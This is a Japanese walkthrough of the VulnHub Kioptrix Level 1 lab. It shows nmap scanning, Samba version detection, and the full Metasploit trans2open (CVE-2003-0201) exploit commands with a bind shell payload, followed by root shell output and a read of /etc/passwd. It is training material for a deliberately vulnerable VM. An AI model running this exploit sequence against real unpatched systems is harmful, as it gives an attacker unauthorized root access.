
Kioptrix レベル1 解説 - CVE-2003-0201 Samba trans2open
Kioptrix Level 1 のwriteup - CVE-2003-0201 Samba trans2open
著者: Amirbek Raxmatullayev (@americo_444)
日付: 2026-06-17
プラットフォーム: VulnHub
難易度: 初心者向け
目的: root権限の取得
| コンポーネント | 詳細 |
|---|---|
| ホストOS | Ubuntu 26.04 |
| ハイパーバイザー | QEMU/KVM |
| ターゲット | Kioptrix Level 1 (VMDK) |
| 攻撃者IP | 192.168.56.1 |
| ターゲットIP | 192.168.56.101 |
備考: VirtualBoxは、DKMS KVM名前空間の競合によりカーネル7.0.0-22-genericと互換性がありませんでした。QEMU/KVMに切り替え、VMDKを変換せずに直接ロードしました。
qemu-system-x86_64 \
-m 512 \
-drive file="Kioptix Level 1.vmdk",format=vmdk \
-netdev bridge,id=net0,br=virbr0 \
-device e1000,netdev=net0 \
-display gtk
nmap -sn 192.168.56.0/24
結果: ターゲットが 192.168.56.101 で特定されました
nmap -sV -sC -p- 192.168.56.101
開放ポート:
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
set RHOSTS 192.168.56.101; run; exit"
結果: Samba 2.2.1a — 深刻な脆弱性のあるバージョンであることが確認されました。
説明:
Samba 2.2.x は trans2open 関数にスタックベースのバッファオーバーフロー脆弱性を含んでいます。これにより、認証されていないリモート攻撃者が root として任意のコードを実行できます。
影響を受けるバージョン: Samba 2.0.x — 2.2.8
CVSSスコア: 10.0 (Critical)
エクスプロイトモジュール: exploit/linux/samba/trans2open
msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run
なぜ bind_tcp で reverse_tcp ではないのか?
reverse_tcp ペイロードは、Kioptrix VM が NAT/ブリッジ設定経由で攻撃者に接続できなかったため失敗しました。bind_tcp では攻撃者がターゲットに接続するため、被害者からの発信接続は不要です。
[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)
シェル取得完了! ✅
whoami
# root
id
# uid=0(root) gid=0(root) groups=99(nobody)
hostname
# kioptrix.level1
uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown
cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash
システム情報:
[Attacker: 192.168.56.1]
|
| Step 1: nmap フルポートスキャン
v
[Target: 192.168.56.101]
|
| Step 2: Samba 2.2.1a 特定
v
[Metasploit — trans2open エクスプロイト]
|
| Step 3: スタックバッファオーバーフローの発動
v
[ポート4444でバインドシェル開放]
|
| Step 4: whoami = root
v
[TARGET PWNED]
nmap -sV -sC によるサービスフィンガープリントbind_tcp と reverse_tcp ペイロードの違いと、それぞれの使用状況| ツール | 目的 |
|---|---|
| nmap | ポートスキャン、サービス/バージョン検出 |
| Metasploit Framework | SMB列挙、エクスプロイテーション |
| QEMU/KVM | ラボ仮想化 |
| arp-scan | ホスト発見 |
執筆者: Amirbek Raxmatullayev | BEK Coders Security Research | 2026
| ポート | サービス | バージョン |
|---|
| 22/tcp | SSH | OpenSSH 2.9p2 |
| 80/tcp | HTTP | Apache 1.3.20 |
| 111/tcp | RPC | rpcbind 2 |
| 139/tcp | SMB | Samba 2.2.1a |
| 443/tcp | HTTPS | mod_ssl/2.8.4 |
| 32768/tcp | Status | RPC #100024 |